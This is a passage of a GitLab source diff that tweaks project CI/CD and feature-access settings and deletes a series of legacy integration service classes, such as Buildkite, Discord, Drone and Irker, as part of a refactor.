+ # with composite primary keys and fix the tests for Rails 6.1
+ #
+ # Consider using BulkInsertSafe module instead since we plan to refactor it in
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/331264
+ def self.insert_all(attributes)
+ super(attributes, unique_by: connection.schema_cache.primary_keys(table_name))
+ end
end
ProjectAuthorization.prepend_mod_with('ProjectAuthorization')
diff --git a/app/models/project_ci_cd_setting.rb b/app/models/project_ci_cd_setting.rb
index c0c2ea42d46..b025326c6f8 100644
--- a/app/models/project_ci_cd_setting.rb
+++ b/app/models/project_ci_cd_setting.rb
@@ -16,6 +16,7 @@ class ProjectCiCdSetting < ApplicationRecord
allow_nil: true
default_value_for :forward_deployment_enabled, true
+ default_value_for :job_token_scope_enabled, true
def forward_deployment_enabled?
super && ::Feature.enabled?(:forward_deployment_enabled, project, default_enabled: true)
diff --git a/app/models/project_feature.rb b/app/models/project_feature.rb
index eb4ad327438..f6e889396c6 100644
--- a/app/models/project_feature.rb
+++ b/app/models/project_feature.rb
@@ -24,7 +24,11 @@ class ProjectFeature < ApplicationRecord
set_available_features(FEATURES)
- PRIVATE_FEATURES_MIN_ACCESS_LEVEL = { merge_requests: Gitlab::Access::REPORTER, metrics_dashboard: Gitlab::Access::REPORTER }.freeze
+ PRIVATE_FEATURES_MIN_ACCESS_LEVEL = {
+ merge_requests: Gitlab::Access::REPORTER,
+ metrics_dashboard: Gitlab::Access::REPORTER,
+ container_registry: Gitlab::Access::REPORTER
+ }.freeze
PRIVATE_FEATURES_MIN_ACCESS_LEVEL_FOR_PRIVATE_PROJECT = { repository: Gitlab::Access::REPORTER }.freeze
class << self
@@ -92,7 +96,7 @@ class ProjectFeature < ApplicationRecord
def set_container_registry_access_level
self.container_registry_access_level =
- if project&.container_registry_enabled
+ if project&.read_attribute(:container_registry_enabled)
ENABLED
else
DISABLED
diff --git a/app/models/project_feature_usage.rb b/app/models/project_feature_usage.rb
index d993db860c3..dba81a6cb60 100644
--- a/app/models/project_feature_usage.rb
+++ b/app/models/project_feature_usage.rb
@@ -20,14 +20,16 @@ class ProjectFeatureUsage < ApplicationRecord
end
def log_jira_dvcs_integration_usage(cloud: true)
- integration_field = self.class.jira_dvcs_integration_field(cloud: cloud)
+ ::Gitlab::Database::LoadBalancing::Session.without_sticky_writes do
+ integration_field = self.class.jira_dvcs_integration_field(cloud: cloud)
- # The feature usage is used only once later to query the feature usage in a
- # long date range. Therefore, we just need to update the timestamp once per
- # day
- return if persisted? && updated_today?(integration_field)
+ # The feature usage is used only once later to query the feature usage in a
+ # long date range. Therefore, we just need to update the timestamp once per
+ # day
+ break if persisted? && updated_today?(integration_field)
- persist_jira_dvcs_usage(integration_field)
+ persist_jira_dvcs_usage(integration_field)
+ end
end
private
diff --git a/app/models/project_repository_storage_move.rb b/app/models/project_repository_storage_move.rb
deleted file mode 100644
index e54489ddb88..00000000000
--- a/app/models/project_repository_storage_move.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-# This is a compatibility class to avoid calling a non-existent
-# class from sidekiq during deployment.
-#
-# This class was moved to a namespace in https://gitlab.com/gitlab-org/gitlab/-/issues/299853.
-# we cannot remove this class entirely because there can be jobs
-# referencing it.
-#
-# We can get rid of this class in 14.0
-# https://gitlab.com/gitlab-org/gitlab/-/issues/322393
-class ProjectRepositoryStorageMove < Projects::RepositoryStorageMove
-end
diff --git a/app/models/project_services/bugzilla_service.rb b/app/models/project_services/bugzilla_service.rb
deleted file mode 100644
index d1c56d2a4d5..00000000000
--- a/app/models/project_services/bugzilla_service.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class BugzillaService < IssueTrackerService
- include ActionView::Helpers::UrlHelper
-
- validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
-
- def title
- 'Bugzilla'
- end
-
- def description
- s_("IssueTracker|Use Bugzilla as this project's issue tracker.")
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/bugzilla'), target: '_blank', rel: 'noopener noreferrer'
- s_("IssueTracker|Use Bugzilla as this project's issue tracker. %{docs_link}").html_safe % { docs_link: docs_link.html_safe }
- end
-
- def self.to_param
- 'bugzilla'
- end
-end
diff --git a/app/models/project_services/buildkite_service.rb b/app/models/project_services/buildkite_service.rb
deleted file mode 100644
index f2ea5066e37..00000000000
--- a/app/models/project_services/buildkite_service.rb
+++ /dev/null
@@ -1,143 +0,0 @@
-# frozen_string_literal: true
-
-require "addressable/uri"
-
-class BuildkiteService < CiService
- include ReactiveService
-
- ENDPOINT = "https://buildkite.com"
-
- prop_accessor :project_url, :token
-
- validates :project_url, presence: true, public_url: true, if: :activated?
- validates :token, presence: true, if: :activated?
-
- after_save :compose_service_hook, if: :activated?
-
- def self.supported_events
- %w(push merge_request tag_push)
- end
-
- # This is a stub method to work with deprecated API response
- # TODO: remove enable_ssl_verification after 14.0
- # https://gitlab.com/gitlab-org/gitlab/-/issues/222808
- def enable_ssl_verification
- true
- end
-
- # Since SSL verification will always be enabled for Buildkite,
- # we no longer needs to store the boolean.
- # This is a stub method to work with deprecated API param.
- # TODO: remove enable_ssl_verification after 14.0
- # https://gitlab.com/gitlab-org/gitlab/-/issues/222808
- def enable_ssl_verification=(_value)
- self.properties.delete('enable_ssl_verification') # Remove unused key
- end
-
- def webhook_url
- "#{buildkite_endpoint('webhook')}/deliver/#{webhook_token}"
- end
-
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.url = webhook_url
- hook.enable_ssl_verification = true
- hook.save
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
-
- service_hook.execute(data)
- end
-
- def commit_status(sha, ref)
- with_reactive_cache(sha, ref) {|cached| cached[:commit_status] }
- end
-
- def commit_status_path(sha)
- "#{buildkite_endpoint('gitlab')}/status/#{status_token}.json?commit=#{sha}"
- end
-
- def build_page(sha, ref)
- "#{project_url}/builds?commit=#{sha}"
- end
-
- def title
- 'Buildkite'
- end
-
- def description
- 'Run CI/CD pipelines with Buildkite.'
- end
-
- def self.to_param
- 'buildkite'
- end
-
- def fields
- [
- { type: 'text',
- name: 'token',
- title: 'Integration Token',
- help: 'This token will be provided when you create a Buildkite pipeline with a GitLab repository',
- required: true },
-
- { type: 'text',
- name: 'project_url',
- title: 'Pipeline URL',
- placeholder: "#{ENDPOINT}/acme-inc/test-pipeline",
- required: true }
- ]
- end
-
- def calculate_reactive_cache(sha, ref)
- response = Gitlab::HTTP.try_get(commit_status_path(sha), request_options)
-
- status =
- if response&.code == 200 && response['status']
- response['status']
- else
- :error
- end
-
- { commit_status: status }
- end
-
- private
-
- def webhook_token
- token_parts.first
- end
-
- def status_token
- token_parts.second
- end
-
- def token_parts
- if token.present?
- token.split(':')
- else
- []
- end
- end
-
- def buildkite_endpoint(subdomain = nil)
- if subdomain.present?
- uri = Addressable::URI.parse(ENDPOINT)
- new_endpoint = "#{uri.scheme || 'http'}://#{subdomain}.#{uri.host}"
-
- if uri.port.present?
- "#{new_endpoint}:#{uri.port}"
- else
- new_endpoint
- end
- else
- ENDPOINT
- end
- end
-
- def request_options
- { verify: false, extra_log_info: { project_id: project_id } }
- end
-end
diff --git a/app/models/project_services/chat_notification_service.rb b/app/models/project_services/chat_notification_service.rb
deleted file mode 100644
index 2f841bf903e..00000000000
--- a/app/models/project_services/chat_notification_service.rb
+++ /dev/null
@@ -1,252 +0,0 @@
-# frozen_string_literal: true
-
-# Base class for Chat notifications services
-# This class is not meant to be used directly, but only to inherit from.
-class ChatNotificationService < Integration
- include ChatMessage
- include NotificationBranchSelection
-
- SUPPORTED_EVENTS = %w[
- push issue confidential_issue merge_request note confidential_note
- tag_push pipeline wiki_page deployment
- ].freeze
-
- SUPPORTED_EVENTS_FOR_LABEL_FILTER = %w[issue confidential_issue merge_request note confidential_note].freeze
-
- EVENT_CHANNEL = proc { |event| "#{event}_channel" }
-
- LABEL_NOTIFICATION_BEHAVIOURS = [
- MATCH_ANY_LABEL = 'match_any',
- MATCH_ALL_LABELS = 'match_all'
- ].freeze
-
- default_value_for :category, 'chat'
-
- prop_accessor :webhook, :username, :channel, :branches_to_be_notified, :labels_to_be_notified, :labels_to_be_notified_behavior
-
- # Custom serialized properties initialization
- prop_accessor(*SUPPORTED_EVENTS.map { |event| EVENT_CHANNEL[event] })
-
- boolean_accessor :notify_only_broken_pipelines, :notify_only_default_branch
-
- validates :webhook, presence: true, public_url: true, if: :activated?
- validates :labels_to_be_notified_behavior, inclusion: { in: LABEL_NOTIFICATION_BEHAVIOURS }, allow_blank: true
-
- def initialize_properties
- if properties.nil?
- self.properties = {}
- self.notify_only_broken_pipelines = true
- self.branches_to_be_notified = "default"
- self.labels_to_be_notified_behavior = MATCH_ANY_LABEL
- elsif !self.notify_only_default_branch.nil?
- # In older versions, there was only a boolean property named
- # `notify_only_default_branch`. Now we have a string property named
- # `branches_to_be_notified`. Instead of doing a background migration, we
- # opted to set a value for the new property based on the old one, if
- # users hasn't specified one already. When users edit the service and
- # selects a value for this new property, it will override everything.
-
- self.branches_to_be_notified ||= notify_only_default_branch? ? "default" : "all"
- end
- end
-
- def confidential_issue_channel
- properties['confidential_issue_channel'].presence || properties['issue_channel']
- end
-
- def confidential_note_channel
- properties['confidential_note_channel'].presence || properties['note_channel']
- end
-
- def self.supported_events
- SUPPORTED_EVENTS
- end
-
- def fields
- default_fields + build_event_channels
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}", required: true }.freeze,
- { type: 'text', name: 'username', placeholder: 'GitLab-integration' }.freeze,
- { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'Do not send notifications for successful pipelines.' }.freeze,
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }.freeze,
- {
- type: 'text',
- name: 'labels_to_be_notified',
- placeholder: '~backend,~frontend',
- help: 'Send notifications for issue, merge request, and comment events with the listed labels only. Leave blank to receive notifications for all events.'
- }.freeze,
- {
- type: 'select',
- name: 'labels_to_be_notified_behavior',
- choices: [
- ['Match any of the labels', MATCH_ANY_LABEL],
- ['Match all of the labels', MATCH_ALL_LABELS]
- ]
- }.freeze
- ].freeze
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
-
- return unless notify_label?(data)
-
- return unless webhook.present?
-
- object_kind = data[:object_kind]
-
- data = custom_data(data)
-
- # WebHook events often have an 'update' event that follows a 'open' or
- # 'close' action. Ignore update events for now to prevent duplicate
- # messages from arriving.
-
- message = get_message(object_kind, data)
-
- return false unless message
-
- event_type = data[:event_type] || object_kind
-
- channel_names = get_channel_field(event_type).presence || channel.presence
- channels = channel_names&.split(',')&.map(&:strip)
-
- opts = {}
- opts[:channel] = channels if channels.present?
- opts[:username] = username if username
-
- if notify(message, opts)
- log_usage(event_type, user_id_from_hook_data(data))
- return true
- end
-
- false
- end
-
- def event_channel_names
- supported_events.map { |event| event_channel_name(event) }
- end
-
- def event_field(event)
- fields.find { |field| field[:name] == event_channel_name(event) }
- end
-
- def global_fields
- fields.reject { |field| field[:name].end_with?('channel') }
- end
-
- def default_channel_placeholder
- raise NotImplementedError
- end
-
- private
-
- def log_usage(_, _)
- # Implement in child class
- end
-
- def labels_to_be_notified_list
- return [] if labels_to_be_notified.nil?
-
- labels_to_be_notified.delete('~').split(',').map(&:strip)
- end
-
- def notify_label?(data)
- return true unless SUPPORTED_EVENTS_FOR_LABEL_FILTER.include?(data[:object_kind]) && labels_to_be_notified.present?
-
- labels = data.dig(:issue, :labels) || data.dig(:merge_request, :labels)
-
- return false if labels.nil?
-
- matching_labels = labels_to_be_notified_list & labels.pluck(:title)
-
- if labels_to_be_notified_behavior == MATCH_ALL_LABELS
- labels_to_be_notified_list.difference(matching_labels).empty?
- else
- matching_labels.any?
- end
- end
-
- def user_id_from_hook_data(data)
- data.dig(:user, :id) || data[:user_id]
- end
-
- # every notifier must implement this independently
- def notify(message, opts)
- raise NotImplementedError
- end
-
- def custom_data(data)
- data.merge(project_url: project_url, project_name: project_name)
- end
-
- def get_message(object_kind, data)
- case object_kind
- when "push", "tag_push"
- Integrations::ChatMessage::PushMessage.new(data) if notify_for_ref?(data)
- when "issue"
- Integrations::ChatMessage::IssueMessage.new(data) unless update?(data)
- when "merge_request"
- Integrations::ChatMessage::MergeMessage.new(data) unless update?(data)
- when "note"
- Integrations::ChatMessage::NoteMessage.new(data)
- when "pipeline"
- Integrations::ChatMessage::PipelineMessage.new(data) if should_pipeline_be_notified?(data)
- when "wiki_page"
- Integrations::ChatMessage::WikiPageMessage.new(data)
- when "deployment"
- Integrations::ChatMessage::DeploymentMessage.new(data)
- end
- end
-
- def get_channel_field(event)
- field_name = event_channel_name(event)
- self.public_send(field_name) # rubocop:disable GitlabSecurity/PublicSend
- end
-
- def build_event_channels
- supported_events.reduce([]) do |channels, event|
- channels << { type: 'text', name: event_channel_name(event), placeholder: default_channel_placeholder }
- end
- end
-
- def event_channel_name(event)
- EVENT_CHANNEL[event]
- end
-
- def project_name
- project.full_name
- end
-
- def project_url
- project.web_url
- end
-
- def update?(data)
- data[:object_attributes][:action] == 'update'
- end
-
- def should_pipeline_be_notified?(data)
- notify_for_ref?(data) && notify_for_pipeline?(data)
- end
-
- def notify_for_ref?(data)
- return true if data[:object_kind] == 'tag_push'
- return true if data.dig(:object_attributes, :tag)
-
- notify_for_branch?(data)
- end
-
- def notify_for_pipeline?(data)
- case data[:object_attributes][:status]
- when 'success'
- !notify_only_broken_pipelines?
- when 'failed'
- true
- else
- false
- end
- end
-end
diff --git a/app/models/project_services/ci_service.rb b/app/models/project_services/ci_service.rb
deleted file mode 100644
index 0733da761d5..00000000000
--- a/app/models/project_services/ci_service.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-# frozen_string_literal: true
-
-# Base class for CI services
-# List methods you need to implement to get your CI service
-# working with GitLab merge requests
-class CiService < Integration
- default_value_for :category, 'ci'
-
- def valid_token?(token)
- self.respond_to?(:token) && self.token.present? && ActiveSupport::SecurityUtils.secure_compare(token, self.token)
- end
-
- def self.supported_events
- %w(push)
- end
-
- # Return complete url to build page
- #
- # Ex.
- # http://jenkins.example.com:8888/job/test1/scm/bySHA1/12d65c
- #
- def build_page(sha, ref)
- # implement inside child
- end
-
- # Return string with build status or :error symbol
- #
- # Allowed states: 'success', 'failed', 'running', 'pending', 'skipped'
- #
- #
- # Ex.
- # @service.commit_status('13be4ac', 'master')
- # # => 'success'
- #
- # @service.commit_status('2abe4ac', 'dev')
- # # => 'running'
- #
- #
- def commit_status(sha, ref)
- # implement inside child
- end
-end
diff --git a/app/models/project_services/custom_issue_tracker_service.rb b/app/models/project_services/custom_issue_tracker_service.rb
deleted file mode 100644
index 6f99d104904..00000000000
--- a/app/models/project_services/custom_issue_tracker_service.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class CustomIssueTrackerService < IssueTrackerService
- include ActionView::Helpers::UrlHelper
- validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
-
- def title
- s_('IssueTracker|Custom issue tracker')
- end
-
- def description
- s_("IssueTracker|Use a custom issue tracker as this project's issue tracker.")
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/custom_issue_tracker'), target: '_blank', rel: 'noopener noreferrer'
- s_('IssueTracker|Use a custom issue tracker that is not in the integration list. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def self.to_param
- 'custom_issue_tracker'
- end
-end
diff --git a/app/models/project_services/data_fields.rb b/app/models/project_services/data_fields.rb
deleted file mode 100644
index ca4dc0375fb..00000000000
--- a/app/models/project_services/data_fields.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-# frozen_string_literal: true
-
-module DataFields
- extend ActiveSupport::Concern
-
- class_methods do
- # Provide convenient accessor methods for data fields.
- # TODO: Simplify as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
- def data_field(*args)
- args.each do |arg|
- self.class_eval <<-RUBY, __FILE__, __LINE__ + 1
- unless method_defined?(arg)
- def #{arg}
- data_fields.send('#{arg}') || (properties && properties['#{arg}'])
- end
- end
-
- def #{arg}=(value)
- @old_data_fields ||= {}
- @old_data_fields['#{arg}'] ||= #{arg} # set only on the first assignment, IOW we remember the original value only
- data_fields.send('#{arg}=', value)
- end
-
- def #{arg}_touched?
- @old_data_fields ||= {}
- @old_data_fields.has_key?('#{arg}')
- end
-
- def #{arg}_changed?
- #{arg}_touched? && @old_data_fields['#{arg}'] != #{arg}
- end
-
- def #{arg}_was
- return unless #{arg}_touched?
- return if data_fields.persisted? # arg_was does not work for attr_encrypted
-
- legacy_properties_data['#{arg}']
- end
- RUBY
- end
- end
- end
-
- included do
- has_one :issue_tracker_data, autosave: true, inverse_of: :integration, foreign_key: :service_id
- has_one :jira_tracker_data, autosave: true, inverse_of: :integration, foreign_key: :service_id
- has_one :open_project_tracker_data, autosave: true, inverse_of: :integration, foreign_key: :service_id
-
- def data_fields
- raise NotImplementedError
- end
-
- def data_fields_present?
- data_fields.present?
- rescue NotImplementedError
- false
- end
- end
-end
diff --git a/app/models/project_services/discord_service.rb b/app/models/project_services/discord_service.rb
deleted file mode 100644
index d7adf63fde4..00000000000
--- a/app/models/project_services/discord_service.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-# frozen_string_literal: true
-
-require "discordrb/webhooks"
-
-class DiscordService < ChatNotificationService
- include ActionView::Helpers::UrlHelper
-
- ATTACHMENT_REGEX = /: (?<entry>.*?)\n - (?<name>.*)\n*/.freeze
-
- def title
- s_("DiscordService|Discord Notifications")
- end
-
- def description
- s_("DiscordService|Send notifications about project events to a Discord channel.")
- end
-
- def self.to_param
- "discord"
- end
-
- def help
- docs_link = link_to _('How do I set up this service?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/discord_notifications'), target: '_blank', rel: 'noopener noreferrer'
- s_('Send notifications about project events to a Discord channel. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def event_field(event)
- # No-op.
- end
-
- def default_channel_placeholder
- # No-op.
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: "text", name: "webhook", placeholder: "https://discordapp.com/api/webhooks/…", help: "URL to the webhook for the Discord channel." },
- { type: "checkbox", name: "notify_only_broken_pipelines" },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- client = Discordrb::Webhooks::Client.new(url: webhook)
-
- client.execute do |builder|
- builder.add_embed do |embed|
- embed.author = Discordrb::Webhooks::EmbedAuthor.new(name: message.user_name, icon_url: message.user_avatar)
- embed.description = (message.pretext + "\n" + Array.wrap(message.attachments).join("\n")).gsub(ATTACHMENT_REGEX, " \\k<entry> - \\k<name>\n")
- end
- end
- rescue RestClient::Exception => error
- log_error(error.message)
- false
- end
-
- def custom_data(data)
- super(data).merge(markdown: true)
- end
-end
diff --git a/app/models/project_services/drone_ci_service.rb b/app/models/project_services/drone_ci_service.rb
deleted file mode 100644
index ab1ba768a8f..00000000000
--- a/app/models/project_services/drone_ci_service.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-# frozen_string_literal: true
-
-class DroneCiService < CiService
- include ReactiveService
- include ServicePushDataValidations
-
- prop_accessor :drone_url, :token
- boolean_accessor :enable_ssl_verification
-
- validates :drone_url, presence: true, public_url: true, if: :activated?
- validates :token, presence: true, if: :activated?
-
- after_save :compose_service_hook, if: :activated?
-
- def compose_service_hook
- hook = service_hook || build_service_hook
- # If using a service template, project may not be available
- hook.url = [drone_url, "/api/hook", "?owner=#{project.namespace.full_path}", "&name=#{project.path}", "&access_token=#{token}"].join if project
- hook.enable_ssl_verification = !!enable_ssl_verification
- hook.save
- end
-
- def execute(data)
- case data[:object_kind]
- when 'push'
- service_hook.execute(data) if push_valid?(data)
- when 'merge_request'
- service_hook.execute(data) if merge_request_valid?(data)
- when 'tag_push'
- service_hook.execute(data) if tag_push_valid?(data)
- end
- end
-
- def allow_target_ci?
- true
- end
-
- def self.supported_events
- %w(push merge_request tag_push)
- end
-
- def commit_status_path(sha, ref)
- Gitlab::Utils.append_path(
- drone_url,
- "gitlab/#{project.full_path}/commits/#{sha}?branch=#{Addressable::URI.encode_component(ref.to_s)}&access_token=#{token}")
- end
-
- def commit_status(sha, ref)
- with_reactive_cache(sha, ref) { |cached| cached[:commit_status] }
- end
-
- def calculate_reactive_cache(sha, ref)
- response = Gitlab::HTTP.try_get(commit_status_path(sha, ref),
- verify: enable_ssl_verification,
- extra_log_info: { project_id: project_id })
-
- status =
- if response && response.code == 200 && response['status']
- case response['status']
- when 'killed'
- :canceled
- when 'failure', 'error'
- # Because drone return error if some test env failed
- :failed
- else
- response["status"]
- end
- else
- :error
- end
-
- { commit_status: status }
- end
-
- def build_page(sha, ref)
- Gitlab::Utils.append_path(
- drone_url,
- "gitlab/#{project.full_path}/redirect/commits/#{sha}?branch=#{Addressable::URI.encode_component(ref.to_s)}")
- end
-
- def title
- 'Drone'
- end
-
- def description
- s_('ProjectService|Run CI/CD pipelines with Drone.')
- end
-
- def self.to_param
- 'drone_ci'
- end
-
- def help
- s_('ProjectService|Run CI/CD pipelines with Drone.')
- end
-
- def fields
- [
- { type: 'text', name: 'token', help: s_('ProjectService|Token for the Drone project.'), required: true },
- { type: 'text', name: 'drone_url', title: s_('ProjectService|Drone server URL'), placeholder: 'http://drone.example.com', required: true },
- { type: 'checkbox', name: 'enable_ssl_verification', title: "Enable SSL verification" }
- ]
- end
-end
diff --git a/app/models/project_services/ewm_service.rb b/app/models/project_services/ewm_service.rb
deleted file mode 100644
index 90fcbb10d2b..00000000000
--- a/app/models/project_services/ewm_service.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-class EwmService < IssueTrackerService
- include ActionView::Helpers::UrlHelper
-
- validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
-
- def self.reference_pattern(only_long: true)
- @reference_pattern ||= %r{(?<issue>\b(bug|task|work item|workitem|rtcwi|defect)\b\s+\d+)}i
- end
-
- def title
- 'EWM'
- end
-
- def description
- s_("IssueTracker|Use IBM Engineering Workflow Management as this project's issue tracker.")
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/ewm'), target: '_blank', rel: 'noopener noreferrer'
- s_("IssueTracker|Use IBM Engineering Workflow Management as this project's issue tracker. %{docs_link}").html_safe % { docs_link: docs_link.html_safe }
- end
-
- def self.to_param
- 'ewm'
- end
-
- def can_test?
- false
- end
-
- def issue_url(iid)
- issues_url.gsub(':id', iid.to_s.split(' ')[-1])
- end
-end
diff --git a/app/models/project_services/external_wiki_service.rb b/app/models/project_services/external_wiki_service.rb
deleted file mode 100644
index f49b008533d..00000000000
--- a/app/models/project_services/external_wiki_service.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# frozen_string_literal: true
-
-class ExternalWikiService < Integration
- include ActionView::Helpers::UrlHelper
-
- prop_accessor :external_wiki_url
- validates :external_wiki_url, presence: true, public_url: true, if: :activated?
-
- def title
- s_('ExternalWikiService|External wiki')
- end
-
- def description
- s_('ExternalWikiService|Link to an external wiki from the sidebar.')
- end
-
- def self.to_param
- 'external_wiki'
- end
-
- def fields
- [
- {
- type: 'text',
- name: 'external_wiki_url',
- title: s_('ExternalWikiService|External wiki URL'),
- placeholder: s_('ExternalWikiService|https://example.com/xxx/wiki/...'),
- help: 'Enter the URL to the external wiki.',
- required: true
- }
- ]
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/wiki/index', anchor: 'link-an-external-wiki'), target: '_blank', rel: 'noopener noreferrer'
-
- s_('Link an external wiki from the project\'s sidebar. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def execute(_data)
- response = Gitlab::HTTP.get(properties['external_wiki_url'], verify: true)
- response.body if response.code == 200
- rescue StandardError
- nil
- end
-
- def self.supported_events
- %w()
- end
-end
diff --git a/app/models/project_services/flowdock_service.rb b/app/models/project_services/flowdock_service.rb
deleted file mode 100644
index 7aae5af7454..00000000000
--- a/app/models/project_services/flowdock_service.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# frozen_string_literal: true
-
-class FlowdockService < Integration
- include ActionView::Helpers::UrlHelper
-
- prop_accessor :token
- validates :token, presence: true, if: :activated?
-
- def title
- 'Flowdock'
- end
-
- def description
- s_('FlowdockService|Send event notifications from GitLab to Flowdock flows.')
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('api/services', anchor: 'flowdock'), target: '_blank', rel: 'noopener noreferrer'
- s_('FlowdockService|Send event notifications from GitLab to Flowdock flows. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def self.to_param
- 'flowdock'
- end
-
- def fields
- [
- { type: 'text', name: 'token', placeholder: s_('FlowdockService|1b609b52537...'), required: true, help: 'Enter your Flowdock token.' }
- ]
- end
-
- def self.supported_events
- %w(push)
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
-
- Flowdock::Git.post(
- data[:ref],
- data[:before],
- data[:after],
- token: token,
- repo: project.repository,
- repo_url: "#{Gitlab.config.gitlab.url}/#{project.full_path}",
- commit_url: "#{Gitlab.config.gitlab.url}/#{project.full_path}/-/commit/%s",
- diff_url: "#{Gitlab.config.gitlab.url}/#{project.full_path}/compare/%s...%s"
- )
- end
-end
diff --git a/app/models/project_services/hangouts_chat_service.rb b/app/models/project_services/hangouts_chat_service.rb
deleted file mode 100644
index 6e7708a169f..00000000000
--- a/app/models/project_services/hangouts_chat_service.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-# frozen_string_literal: true
-
-require 'hangouts_chat'
-
-class HangoutsChatService < ChatNotificationService
- include ActionView::Helpers::UrlHelper
-
- def title
- 'Google Chat'
- end
-
- def description
- 'Send notifications from GitLab to a room in Google Chat.'
- end
-
- def self.to_param
- 'hangouts_chat'
- end
-
- def help
- docs_link = link_to _('How do I set up a Google Chat webhook?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/hangouts_chat'), target: '_blank', rel: 'noopener noreferrer'
- s_('Before enabling this integration, create a webhook for the room in Google Chat where you want to receive notifications from this project. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def event_field(event)
- end
-
- def default_channel_placeholder
- end
-
- def webhook_placeholder
- 'https://chat.googleapis.com/v1/spaces…'
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push
- pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" },
- { type: 'checkbox', name: 'notify_only_broken_pipelines' },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- simple_text = parse_simple_text_message(message)
- HangoutsChat::Sender.new(webhook).simple(simple_text)
- end
-
- def parse_simple_text_message(message)
- header = message.pretext
- return header if message.attachments.empty?
-
- attachment = message.attachments.first
- title = format_attachment_title(attachment)
- body = attachment[:text]
-
- [header, title, body].compact.join("\n")
- end
-
- def format_attachment_title(attachment)
- return attachment[:title] unless attachment[:title_link]
-
- "<#{attachment[:title_link]}|#{attachment[:title]}>"
- end
-end
diff --git a/app/models/project_services/hipchat_service.rb b/app/models/project_services/hipchat_service.rb
deleted file mode 100644
index 71d8e7bfac4..00000000000
--- a/app/models/project_services/hipchat_service.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-# This service is scheduled for removal. All records must
-# be deleted before the class can be removed.
-# https://gitlab.com/gitlab-org/gitlab/-/issues/27954
-class HipchatService < Integration
- before_save :prevent_save
-
- def self.to_param
- 'hipchat'
- end
-
- def self.supported_events
- []
- end
-
- def execute(data)
- # We removed the hipchat gem due to https://gitlab.com/gitlab-org/gitlab/-/issues/325851#note_537143149
- # HipChat is unusable anyway, so do nothing in this method
- end
-
- private
-
- def prevent_save
- errors.add(:base, _('HipChat endpoint is deprecated and should not be created or modified.'))
-
- # Stops execution of callbacks and database operation while
- # preserving expectations of #save (will not raise) & #save! (raises)
- # https://guides.rubyonrails.org/active_record_callbacks.html#halting-execution
- throw :abort # rubocop:disable Cop/BanCatchThrow
- end
-end
diff --git a/app/models/project_services/irker_service.rb b/app/models/project_services/irker_service.rb
deleted file mode 100644
index 5cca620c659..00000000000
--- a/app/models/project_services/irker_service.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-# frozen_string_literal: true
-
-require 'uri'
-
-class IrkerService < Integration
- prop_accessor :server_host, :server_port, :default_irc_uri
- prop_accessor :recipients, :channels
- boolean_accessor :colorize_messages
- validates :recipients, presence: true, if: :validate_recipients?
-
- before_validation :get_channels
-
- def title
- 'Irker (IRC gateway)'
- end
-
- def description
- 'Send IRC messages.'
- end
-
- def self.to_param
- 'irker'
- end
-
- def self.supported_events
- %w(push)
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
-
- IrkerWorker.perform_async(project_id, channels,
- colorize_messages, data, settings)
- end
-
- def settings
- {
- server_host: server_host.presence || 'localhost',
- server_port: server_port.presence || 6659
- }
- end
-
- def fields
- [
- { type: 'text', name: 'server_host', placeholder: 'localhost',
- help: 'Irker daemon hostname (defaults to localhost)' },
- { type: 'text', name: 'server_port', placeholder: 6659,
- help: 'Irker daemon port (defaults to 6659)' },
- { type: 'text', name: 'default_irc_uri', title: 'Default IRC URI',
- help: 'A default IRC URI to prepend before each recipient (optional)',
- placeholder: 'irc://irc.network.net:6697/' },
